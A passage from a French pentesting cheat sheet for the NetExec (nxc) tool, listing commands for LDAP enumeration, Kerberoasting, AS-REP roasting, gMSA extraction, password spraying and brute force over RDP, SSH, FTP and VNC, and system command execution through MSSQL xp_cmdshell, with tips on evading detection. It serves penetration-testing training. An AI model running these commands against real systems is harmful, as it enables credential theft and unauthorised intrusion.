oubli\u00e9s dans les descriptions<\/td>\n<td><code>nxc ldap 10.10.10.5 -u user -p &#039;pass&#039; -M get-desc<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Commandes Essentielles LDAP<\/h3>\n<p>\u00c9num\u00e9ration des utilisateurs et groupes du domaine :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ldap 10.10.10.5 -u &#039;user&#039; -p &#039;pass&#039; --users\nnxc ldap 10.10.10.5 -u &#039;user&#039; -p &#039;pass&#039; --groups<\/code><\/pre>\n<\/div>\n<p>Kerberoasting \u2014 extraction des TGS pour cracking offline :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ldap 10.10.10.5 -u &#039;user&#039; -p &#039;pass&#039; --kerberoasting kerb_output.txt<\/code><\/pre>\n<\/div>\n<p>AS-REP Roasting \u2014 r\u00e9cup\u00e9rer les hash des comptes sans pr\u00e9-authentification Kerberos :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ldap 10.10.10.5 -u &#039;user&#039; -p &#039;pass&#039; --asreproast asrep_output.txt<\/code><\/pre>\n<\/div>\n<p>Identification des comptes \u00e0 haut privil\u00e8ge et mauvaises configurations :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ldap 10.10.10.5 -u &#039;user&#039; -p &#039;pass&#039; --admin-count\nnxc ldap 10.10.10.5 -u &#039;user&#039; -p &#039;pass&#039; --trusted-for-delegation\nnxc ldap 10.10.10.5 -u &#039;user&#039; -p &#039;pass&#039; --password-not-required<\/code><\/pre>\n<\/div>\n<p>Extraction des mots de passe gMSA :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ldap 10.10.10.5 -u &#039;user&#039; -p &#039;pass&#039; --gmsa<\/code><\/pre>\n<\/div>\n<p>Chasse aux mots de passe dans les descriptions utilisateurs :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ldap 10.10.10.5 -u &#039;user&#039; -p &#039;pass&#039; -M get-desc<\/code><\/pre>\n<\/div>\n<p>Collecte de donn\u00e9es pour <a href=\"https:\/\/pandack.fr\/?pandack_outil=bloodhound\" class=\"wikilink\">BloodHound<\/a> :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ldap 10.10.10.5 -u &#039;user&#039; -p &#039;pass&#039; --bloodhound -ns 10.10.10.5<\/code><\/pre>\n<\/div>\n<h3>Exemples Pratiques LDAP<\/h3>\n<h4>1. Test d&rsquo;identifiants et v\u00e9rification LDAP Signing<\/h4>\n<p>V\u00e9rifier si les credentials sont valides et si le serveur impose la signature LDAP.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ldap 10.10.10.10 -u &#039;peter&#039; -p &#039;Password123&#039;<\/code><\/pre>\n<\/div>\n<p>_Explication : Teste les credentials contre le service LDAP. Si la sortie indique <code>LDAP Signing: False<\/code>, une attaque NTLM Relay vers LDAP est possible (avec <code>ntlmrelayx.py --target ldap:\/\/10.10.10.10<\/code>). C&rsquo;est un check important \u00e0 faire syst\u00e9matiquement._<\/p>\n<h4>2. \u00c9num\u00e9ration compl\u00e8te du domaine<\/h4>\n<p>R\u00e9cup\u00e9rer la liste des utilisateurs, groupes et comptes \u00e0 privil\u00e8ges via LDAP.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ldap 10.10.10.10 -u &#039;peter&#039; -p &#039;Password123&#039; --users --groups<\/code><\/pre>\n<\/div>\n<p>_Explication : Interroge l&rsquo;annuaire LDAP pour lister tous les utilisateurs et groupes du domaine. Plus fiable que l&rsquo;\u00e9num\u00e9ration SMB car interroge directement la base AD. Peut \u00eatre tr\u00e8s verbeux sur un gros domaine._<\/p>\n<h4>3. Password Spraying via LDAP<\/h4>\n<p>Tester un mot de passe sur tous les utilisateurs. Souvent plus rapide qu&rsquo;en SMB.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ldap 10.10.10.10 -u user_list.txt -p &#039;Bienvenue123!&#039; --continue-on-success<\/code><\/pre>\n<\/div>\n<p>_Explication : Alternative au spraying SMB. Le spraying via LDAP est souvent plus rapide et peut contourner certaines restrictions SMB. V\u00e9rifier la politique de lockout au pr\u00e9alable avec <code>nxc smb &lt;IP&gt; --pass-pol<\/code>._<\/p>\n<h4>4. AS-REP Roasting<\/h4>\n<p>Chercher des utilisateurs vuln\u00e9rables sans avoir besoin d&rsquo;\u00eatre admin.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ldap 10.10.10.10 -u &#039;peter&#039; -p &#039;Password123&#039; --asreproast asrep_hashes.txt<\/code><\/pre>\n<\/div>\n<p>_Explication : Identifie les comptes avec l&rsquo;attribut <code>DONT_REQUIRE_PREAUTH<\/code> activ\u00e9 et r\u00e9cup\u00e8re leur hash AS-REP. Le hash peut \u00eatre crack\u00e9 offline avec Hashcat (<code>-m 18200<\/code>). Ne n\u00e9cessite aucun privil\u00e8ge particulier \u2014 n&rsquo;importe quel utilisateur authentifi\u00e9 peut lancer cette attaque._<\/p>\n<h4>5. Kerberoasting<\/h4>\n<p>Identifier les comptes de service avec un SPN et extraire les tickets TGS pour cracking offline.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ldap 10.10.10.10 -u &#039;peter&#039; -p &#039;Password123&#039; --kerberoasting kerb_hashes.txt<\/code><\/pre>\n<\/div>\n<p>_Explication : Recherche les comptes utilisateurs avec un Service Principal Name (SPN) et demande un ticket TGS pour chacun. Les tickets sont sauvegard\u00e9s dans <code>kerb_hashes.txt<\/code> au format Hashcat (<code>-m 13100<\/code>) \/ John pour cracking offline._<\/p>\n<h4>6. Chasse aux mots de passe dans les descriptions<\/h4>\n<p>Utiliser le module <code>get-desc<\/code> pour lire le champ \u00ab\u00a0Description\u00a0\u00bb de tous les comptes.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ldap 10.10.10.10 -u &#039;peter&#039; -p &#039;Password123&#039; -M get-desc<\/code><\/pre>\n<\/div>\n<p>_Explication : Les administrateurs laissent parfois des mots de passe ou des indices dans le champ description des comptes utilisateurs ou de service. Ce module les extrait automatiquement. Quick win fr\u00e9quent en pentest AD._<\/p>\n<h4>7. Identification de mauvaises configurations AD<\/h4>\n<p>Rechercher les comptes avec des configurations dangereuses.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ldap 10.10.10.10 -u &#039;peter&#039; -p &#039;Password123&#039; --trusted-for-delegation\nnxc ldap 10.10.10.10 -u &#039;peter&#039; -p &#039;Password123&#039; --password-not-required\nnxc ldap 10.10.10.10 -u &#039;peter&#039; -p &#039;Password123&#039; --admin-count<\/code><\/pre>\n<\/div>\n<p>_Explication : <code>--trusted-for-delegation<\/code> r\u00e9v\u00e8le les comptes\/machines avec d\u00e9l\u00e9gation non contrainte (risque d&rsquo;impersonation, attaques de rebond complexes). <code>--password-not-required<\/code> trouve les comptes qui peuvent avoir un mot de passe vide \u2014 \u00e0 exploiter imm\u00e9diatement. <code>--admin-count<\/code> liste les objets prot\u00e9g\u00e9s (AdminCount=1), souvent des comptes \u00e0 hauts privil\u00e8ges._<\/p>\n<h4>8. Collecte BloodHound<\/h4>\n<p>R\u00e9cup\u00e9rer toutes les donn\u00e9es n\u00e9cessaires pour la cartographie AD avec <a href=\"https:\/\/pandack.fr\/?pandack_outil=bloodhound\" class=\"wikilink\">BloodHound<\/a>.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ldap 10.10.10.10 -u &#039;peter&#039; -p &#039;Password123&#039; --bloodhound -ns 10.10.10.10<\/code><\/pre>\n<\/div>\n<p>_Explication : Collecte les relations AD (groupes, sessions, ACL, etc.) et g\u00e9n\u00e8re les fichiers JSON importables dans BloodHound. Moins complet que SharpHound mais utile pour un aper\u00e7u rapide sans d\u00e9poser d&rsquo;ex\u00e9cutable sur la cible. <code>-ns<\/code> sp\u00e9cifie le serveur DNS \u00e0 utiliser pour la r\u00e9solution._<\/p>\n<hr>\n<h2>RDP (nxc rdp)<\/h2>\n<div class=\"callout callout--info\">\n<div class=\"callout__title\">\ud83d\udccc Port 3389 \u2014 Test d&#039;identifiants et capture d&#039;\u00e9cran<\/div>\n<div class=\"callout__content\">\n<p>Le protocole RDP permet de tester des identifiants sur le service Bureau \u00e0 distance et de prendre des captures d&rsquo;\u00e9cran des sessions actives. Utile pour valider des credentials et identifier visuellement ce qui tourne sur les machines.<\/p>\n<\/div>\n<\/div>\n<h3>Param\u00e8tres RDP<\/h3>\n<table>\n<thead>\n<tr>\n<th>Option<\/th>\n<th>Description<\/th>\n<th>Exemple d&rsquo;utilisation<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>--nla<\/code><\/td>\n<td>V\u00e9rifier si Network Level Authentication est activ\u00e9<\/td>\n<td><code>nxc rdp 10.10.10.5 --nla<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--screenshot<\/code><\/td>\n<td>Prendre une capture d&rsquo;\u00e9cran de la session RDP<\/td>\n<td><code>nxc rdp 10.10.10.5 -u admin -p &#039;pass&#039; --screenshot<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--screentime<\/code><\/td>\n<td>Dur\u00e9e d&rsquo;attente avant screenshot (en secondes)<\/td>\n<td><code>nxc rdp 10.10.10.5 -u admin -p &#039;pass&#039; --screenshot --screentime 5<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Commandes Essentielles RDP<\/h3>\n<p>Test d&rsquo;identifiants via RDP :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc rdp 10.10.10.5 -u &#039;admin&#039; -p &#039;Password1&#039;<\/code><\/pre>\n<\/div>\n<p>Test d&rsquo;identifiants sur un sous-r\u00e9seau entier :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc rdp 192.168.1.0\/24 -u &#039;admin&#039; -p &#039;Password1&#039;<\/code><\/pre>\n<\/div>\n<p>V\u00e9rification de NLA (Network Level Authentication) :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc rdp 192.168.1.0\/24 --nla<\/code><\/pre>\n<\/div>\n<p>Capture d&rsquo;\u00e9cran d&rsquo;une session RDP active :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc rdp 10.10.10.5 -u &#039;admin&#039; -p &#039;pass&#039; --screenshot --screentime 5<\/code><\/pre>\n<\/div>\n<h3>Exemples Pratiques RDP<\/h3>\n<h4>1. Validation d&rsquo;identifiants RDP sur un r\u00e9seau<\/h4>\n<p>Tester des credentials sur toutes les machines avec RDP expos\u00e9.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc rdp 192.168.1.0\/24 -u &#039;admin&#039; -p &#039;Password123&#039; --continue-on-success<\/code><\/pre>\n<\/div>\n<p>_Explication : Scanne le port 3389 sur tout le sous-r\u00e9seau et teste les identifiants. Un <code>[+]<\/code> indique que les credentials sont valides. Utile pour v\u00e9rifier la r\u00e9utilisation de mots de passe._<\/p>\n<h4>2. Password Spraying via RDP<\/h4>\n<p>Tester un mot de passe courant contre une liste d&rsquo;utilisateurs.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc rdp 10.10.10.5 -u users.txt -p &#039;Welcome2024!&#039; --continue-on-success<\/code><\/pre>\n<\/div>\n<p>_Explication : Alternative au spraying SMB. Le spraying via RDP peut \u00eatre moins d\u00e9tect\u00e9 par certains EDR qui se concentrent sur SMB. V\u00e9rifier la politique de lockout au pr\u00e9alable._<\/p>\n<h4>3. Capture d&rsquo;\u00e9cran \u00e0 distance<\/h4>\n<p>Prendre un screenshot de ce qui est affich\u00e9 sur une session RDP.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc rdp 10.10.10.50 -u &#039;admin&#039; -p &#039;pass&#039; --screenshot --screentime 10<\/code><\/pre>\n<\/div>\n<p>_Explication : Se connecte en RDP, attend 10 secondes et prend un screenshot. Utile pour identifier visuellement les applications en cours, les documents ouverts, ou les sessions utilisateur actives. Les screenshots sont sauvegard\u00e9s localement._<\/p>\n<hr>\n<h2>MSSQL (nxc mssql)<\/h2>\n<div class=\"callout callout--info\">\n<div class=\"callout__title\">\ud83d\udccc Port 1433 \u2014 Attaques sur Microsoft SQL Server<\/div>\n<div class=\"callout__content\">\n<p>Le protocole MSSQL permet de tester des identifiants sur les serveurs SQL Server, d&rsquo;ex\u00e9cuter des requ\u00eates SQL et des commandes syst\u00e8me via <code>xp_cmdshell<\/code>. Les serveurs SQL sont souvent li\u00e9s \u00e0 des comptes de service avec des privil\u00e8ges \u00e9lev\u00e9s dans le domaine.<\/p>\n<\/div>\n<\/div>\n<h3>Param\u00e8tres MSSQL<\/h3>\n<table>\n<thead>\n<tr>\n<th>Option<\/th>\n<th>Description<\/th>\n<th>Exemple d&rsquo;utilisation<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>-q<\/code><\/td>\n<td>Ex\u00e9cuter une requ\u00eate SQL<\/td>\n<td><code>nxc mssql 10.10.10.5 -u sa -p &#039;pass&#039; -q &quot;SELECT @@version&quot;<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>-x<\/code><\/td>\n<td>Ex\u00e9cuter une commande syst\u00e8me via xp_cmdshell<\/td>\n<td><code>nxc mssql 10.10.10.5 -u sa -p &#039;pass&#039; -x &quot;whoami&quot;<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--local-auth<\/code><\/td>\n<td>Authentification SQL (compte SQL, pas Windows)<\/td>\n<td><code>nxc mssql 10.10.10.5 -u sa -p &#039;pass&#039; --local-auth<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Commandes Essentielles MSSQL<\/h3>\n<p>Test d&rsquo;identifiants sur SQL Server :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc mssql 10.10.10.5 -u &#039;sa&#039; -p &#039;Password1&#039;<\/code><\/pre>\n<\/div>\n<p>Authentification SQL locale (compte SQL et non Windows) :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc mssql 10.10.10.5 -u &#039;sa&#039; -p &#039;Password1&#039; --local-auth<\/code><\/pre>\n<\/div>\n<p>Ex\u00e9cution d&rsquo;une requ\u00eate SQL :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc mssql 10.10.10.5 -u &#039;sa&#039; -p &#039;pass&#039; -q &quot;SELECT name FROM sys.databases&quot;<\/code><\/pre>\n<\/div>\n<p>Ex\u00e9cution de commande syst\u00e8me via xp_cmdshell :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc mssql 10.10.10.5 -u &#039;sa&#039; -p &#039;pass&#039; -x &quot;whoami&quot;<\/code><\/pre>\n<\/div>\n<h3>Exemples Pratiques MSSQL<\/h3>\n<h4>1. Test d&rsquo;identifiants SQL Server<\/h4>\n<p>Tester le compte <code>sa<\/code> (System Administrator) par d\u00e9faut.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc mssql 192.168.1.0\/24 -u &#039;sa&#039; -p &#039;sa&#039; --local-auth\nnxc mssql 192.168.1.0\/24 -u &#039;sa&#039; -p &#039;&#039; --local-auth<\/code><\/pre>\n<\/div>\n<p>_Explication : Teste le compte <code>sa<\/code> avec un mot de passe faible ou vide sur tout le sous-r\u00e9seau. L&rsquo;authentification SQL (<code>--local-auth<\/code>) est s\u00e9par\u00e9e de l&rsquo;authentification Windows._<\/p>\n<h4>2. Ex\u00e9cution de commande via xp_cmdshell<\/h4>\n<p>Obtenir un shell syst\u00e8me via SQL Server.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc mssql 10.10.10.50 -u &#039;sa&#039; -p &#039;password&#039; --local-auth -x &quot;whoami&quot;<\/code><\/pre>\n<\/div>\n<p>_Explication : Utilise <code>xp_cmdshell<\/code> pour ex\u00e9cuter des commandes syst\u00e8me. Le service SQL Server tourne souvent sous un compte de service avec des privil\u00e8ges \u00e9lev\u00e9s (NT SERVICEMSSQLSERVER ou un compte de domaine)._<\/p>\n<h4>3. \u00c9num\u00e9ration des bases de donn\u00e9es<\/h4>\n<p>Lister les bases de donn\u00e9es disponibles pour identifier des donn\u00e9es sensibles.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc mssql 10.10.10.50 -u &#039;sa&#039; -p &#039;password&#039; --local-auth -q &quot;SELECT name FROM sys.databases&quot;<\/code><\/pre>\n<\/div>\n<p>_Explication : Liste toutes les bases de donn\u00e9es de l&rsquo;instance SQL. Chercher des bases comme <code>credentials<\/code>, <code>passwords<\/code>, <code>backup<\/code>, ou des bases m\u00e9tier contenant des donn\u00e9es sensibles._<\/p>\n<hr>\n<h2>SSH (nxc ssh)<\/h2>\n<div class=\"callout callout--info\">\n<div class=\"callout__title\">\ud83d\udccc Port 22 \u2014 Test d&#039;identifiants SSH<\/div>\n<div class=\"callout__content\">\n<p>Le protocole SSH permet de tester des identifiants sur les serveurs Linux\/Unix. Utile pour le bruteforce, le password spraying et l&rsquo;ex\u00e9cution de commandes \u00e0 distance sur des machines non-Windows.<\/p>\n<\/div>\n<\/div>\n<h3>Commandes Essentielles SSH<\/h3>\n<p>Test d&rsquo;identifiants SSH :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ssh 10.10.10.5 -u &#039;root&#039; -p &#039;password&#039;<\/code><\/pre>\n<\/div>\n<p>Password spraying sur des serveurs Linux :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ssh 192.168.1.0\/24 -u users.txt -p &#039;Password123!&#039; --continue-on-success<\/code><\/pre>\n<\/div>\n<p>Ex\u00e9cution de commande \u00e0 distance :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ssh 10.10.10.5 -u &#039;root&#039; -p &#039;password&#039; -x &quot;id&quot;<\/code><\/pre>\n<\/div>\n<h3>Exemples Pratiques SSH<\/h3>\n<h4>1. Test de credentials sur des serveurs Linux<\/h4>\n<p>Tester des identifiants par d\u00e9faut courants sur tout un sous-r\u00e9seau.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ssh 192.168.1.0\/24 -u &#039;admin&#039; -p &#039;admin&#039;\nnxc ssh 192.168.1.0\/24 -u &#039;root&#039; -p &#039;toor&#039;<\/code><\/pre>\n<\/div>\n<p>_Explication : Teste des identifiants par d\u00e9faut courants (<code>admin\/admin<\/code>, <code>root\/toor<\/code>) sur les serveurs SSH du r\u00e9seau. Plus rapide que Hydra pour un scan de masse._<\/p>\n<h4>2. Bruteforce avec listes<\/h4>\n<p>Tester plusieurs combinaisons utilisateur\/mot de passe.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ssh 10.10.10.5 -u users.txt -p passwords.txt --continue-on-success<\/code><\/pre>\n<\/div>\n<p>_Explication : Teste toutes les combinaisons des fichiers de listes. <code>--continue-on-success<\/code> pour ne pas s&rsquo;arr\u00eater au premier match. Attention au rate limiting SSH (fail2ban, etc.)._<\/p>\n<hr>\n<h2>FTP (nxc ftp)<\/h2>\n<div class=\"callout callout--info\">\n<div class=\"callout__title\">\ud83d\udccc Port 21 \u2014 Test d&#039;identifiants FTP<\/div>\n<div class=\"callout__content\">\n<p>Le protocole FTP permet de tester des identifiants et l&rsquo;acc\u00e8s anonyme sur les serveurs FTP. Souvent n\u00e9glig\u00e9 mais peut contenir des fichiers de configuration, des backups ou des credentials.<\/p>\n<\/div>\n<\/div>\n<h3>Commandes Essentielles FTP<\/h3>\n<p>Test d&rsquo;acc\u00e8s anonyme :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ftp 192.168.1.0\/24 -u &#039;anonymous&#039; -p &#039;&#039;<\/code><\/pre>\n<\/div>\n<p>Test d&rsquo;identifiants :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ftp 10.10.10.5 -u &#039;admin&#039; -p &#039;password&#039;<\/code><\/pre>\n<\/div>\n<p>Password spraying :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ftp 192.168.1.0\/24 -u users.txt -p &#039;Password123!&#039; --continue-on-success<\/code><\/pre>\n<\/div>\n<h3>Exemples Pratiques FTP<\/h3>\n<h4>1. Recherche d&rsquo;acc\u00e8s anonyme sur un r\u00e9seau<\/h4>\n<p>Identifier les serveurs FTP autorisant l&rsquo;acc\u00e8s anonyme.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc ftp 192.168.1.0\/24 -u &#039;anonymous&#039; -p &#039;&#039;\nnxc ftp 192.168.1.0\/24 -u &#039;anonymous&#039; -p &#039;anonymous&#039;<\/code><\/pre>\n<\/div>\n<p>_Explication : Scanne tout le sous-r\u00e9seau pour trouver les serveurs FTP avec acc\u00e8s anonyme. Souvent des serveurs de backup ou de transfert contenant des fichiers sensibles (configs, scripts, credentials)._<\/p>\n<hr>\n<h2>VNC (nxc vnc)<\/h2>\n<div class=\"callout callout--info\">\n<div class=\"callout__title\">\ud83d\udccc Port 5900 \u2014 Test d&#039;identifiants VNC<\/div>\n<div class=\"callout__content\">\n<p>Le protocole VNC permet de tester des identifiants sur les serveurs VNC. VNC utilise souvent une authentification par mot de passe uniquement (sans nom d&rsquo;utilisateur).<\/p>\n<\/div>\n<\/div>\n<h3>Commandes Essentielles VNC<\/h3>\n<p>Test de mot de passe VNC :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc vnc 10.10.10.5 -p &#039;password&#039;<\/code><\/pre>\n<\/div>\n<p>Scan de serveurs VNC sur un r\u00e9seau :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc vnc 192.168.1.0\/24 -p &#039;password&#039;<\/code><\/pre>\n<\/div>\n<h3>Exemples Pratiques VNC<\/h3>\n<h4>1. Test de mots de passe courants sur VNC<\/h4>\n<p>Tester des mots de passe par d\u00e9faut sur les serveurs VNC.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc vnc 192.168.1.0\/24 -p &#039;password&#039;\nnxc vnc 192.168.1.0\/24 -p &#039;vnc&#039;<\/code><\/pre>\n<\/div>\n<p>_Explication : VNC utilise souvent un mot de passe seul (pas de nom d&rsquo;utilisateur). Les mots de passe par d\u00e9faut sont fr\u00e9quents sur les serveurs VNC mal configur\u00e9s._<\/p>\n<hr>\n<h2>Base de donn\u00e9es int\u00e9gr\u00e9e (nxcdb)<\/h2>\n<div class=\"callout callout--info\">\n<div class=\"callout__title\">\ud83d\udccc Stockage automatique des r\u00e9sultats<\/div>\n<div class=\"callout__content\">\n<p>NetExec stocke automatiquement tous les r\u00e9sultats (credentials, machines, hash) dans une base SQLite locale. On peut la requ\u00eater avec <code>nxcdb<\/code>.<\/p>\n<\/div>\n<\/div>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxcdb\n# Puis dans le shell interactif :\nproto smb\ncreds\nhosts<\/code><\/pre>\n<\/div>\n<p>_Explication : Permet de retrouver les credentials et machines d\u00e9couverts lors de sessions pr\u00e9c\u00e9dentes sans relancer les scans. Tr\u00e8s utile pour reprendre un pentest ou croiser les r\u00e9sultats entre protocoles._<\/p>\n<h2>Astuces &amp; Ressources NetExec<\/h2>\n<h2>Suivi &amp; Recommandation<\/h2>\n<div class=\"callout callout--danger\">\n<div class=\"callout__title\">\u26a0\ufe0f M\u00e9thodologie recommand\u00e9e<\/div>\n<div class=\"callout__content\">\n<p>Workflow complet d&rsquo;utilisation de NetExec dans un pentest AD. Toujours commencer par v\u00e9rifier la politique de mot de passe avant tout 